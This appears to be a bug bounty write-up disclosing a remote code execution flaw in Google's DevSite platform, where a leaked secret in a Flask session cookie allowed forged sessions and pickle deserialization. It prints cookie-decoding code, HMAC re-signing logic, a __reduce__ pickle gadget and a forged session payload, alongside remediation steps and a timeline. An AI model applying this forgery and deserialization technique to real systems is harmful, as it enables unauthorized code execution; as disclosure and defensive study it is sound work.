I Found a $90k Remote Code Execution Vulnerability in Google
Uncovering a $90k Remote Code Execution (RCE) Flaw in Google
Executive Summary: A Flask session cookie on
developers.google.comwas signed using a secret that was accidentally embedded within the cookie's own payload. By extracting this secret, it was possible to forge sessions and achieve Remote Code Execution (RCE) across seven different Google domains.
🔍 The Discovery Phase
While analyzing the shared OAuth flow utilized by Google's developer documentation sites, I noticed something peculiar. The process typically follows this path:
- User visits
/oauth2authorize. - The server issues a Flask session cookie.
- The user is redirected to the Google sign-in page.
I tested this using a simple curl command (no account required):
curl -s -D headers.txt -o /dev/null \ 'https://developers.google.com/oauth2authorize?return_url=%2F'
The Red Flag
The resulting cookie was unusually large—approximately 1,200 bytes. This is far beyond the expected size for a simple return URL and a CSRF token. Since Flask cookies are signed but encrypted not encrypted, the data is visible to anyone.
The payload started with a dot (.), indicating zlib compression. I wrote a script to decode it:
import base64, json, pickletools, zlib
# Splitting the cookie into payload, timestamp, and signature
payload, timestamp, signature = cookie.rsplit('.', 2)
def b64decode(value):
return base64.urlsafe_b64decode(value + '=' * (-len(value) % 4))
# Decompressing the zlib payload
compressed = payload.startswith('.')
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)
The decoded session revealed a pickle object. Using pickletools.dis, I uncovered an oauth2client.client.OAuth2WebServerFlow object containing:
client_id:redacted.apps.googleusercontent.comclient_secret:b'redacted'
🔑 One Secret, Two Purposes
Finding a client_secret in a cookie is a vulnerability in itself, but the real breakthrough came when I tested if this secret was also being used as the Flask SECRET_KEY.
Verification Logic
Flask utilizes the itsdangerous library for signing. The signature is derived using the following logic:
I re-implemented this offline:
import hmac
from hashlib import sha1
derived_key = hmac.digest(client_secret, b'cookie-session', sha1)
expected = hmac.digest(derived_key, f'{payload}.{timestamp}'.encode(), sha1)
The expected value matched the cookie's signature perfectly. To confirm this wasn't a coincidence, I performed two tests:
- Modified Signature: Changed one character Rejected.
- Re-signed Payload: Used the recovered secret to sign a new payload Accepted.
🚀 From Forgery to Remote Code Execution
The vulnerability escalated because the server's callback mechanism unpickles the flow object from the session:
The Execution Chain:
Session Cookie Verify Signature Extract flow bytes base64-decode pickle.loads()
Because I could forge the signature, I could pass any arbitrary bytes to pickle.loads(). In Python, the REDUCE opcode allows a pickle to call any callable with specific arguments.
Proving the Exploit
To avoid disrupting production systems, I used time.sleep() to prove execution. I created a class with a __reduce__ method:
import time
class Sleep:
def __init__(self, seconds):
self.seconds = seconds
def __reduce__(self):
return (time.sleep, (self.seconds,))
I then wrapped this in a forged session:
session = {
"_permanent": True,
"google_oauth2_csrf_token": "attacker-chosen",
"google_oauth2_flow_attacker-chosen": {
"b": base64.b64encode(attacker_blob).decode()
},
}
Results Table
| Payload | Response Time | Result |
|---|---|---|
time.sleep(0) | 0.207 s | Baseline |
time.sleep(3) | 3.193 s | Confirmed RCE |
time.sleep(5) | 5.194 s | Confirmed RCE |
time.sleep(8) | 8.283 s | Confirmed RCE |
🌐 Scope and Remediation
This wasn't limited to one site; it affected the entire shared DevSite platform. The same key worked across:
developers.google.comfirebase.google.comdeveloper.android.comsource.android.comdocs.partner.android.com- (And two others)
The Fix
Google implemented a multi-layered defense:
- Secret Rotation: Rotated all exposed OAuth secrets and invalidated existing sessions.
- Key Isolation: Assigned unique, high-entropy
SECRET_KEYs per deployment via server-side storage. - Opaque Tokens: Changed cookies to hold opaque references rather than sensitive data.
- Safe Serialization: Replaced
picklewith a data-only format and strict schema validation.
📅 Timeline & Reward
| Date | Event |
|---|---|
| Aug 6, 2026 | Report submitted (22:48) |
| Aug 7, 2026 | Triaged (08:12) and Accepted (16:23) |
| Aug 27, 2026 | Reward finalized: $90,000 |
| Oct 7, 2026 | Fix deployed (15:20) |
Bounty Breakdown:
- Base Reward (S0 RCE): $75,000
- Quality Multiplier: (for exceptional report quality)
- Total: $90,000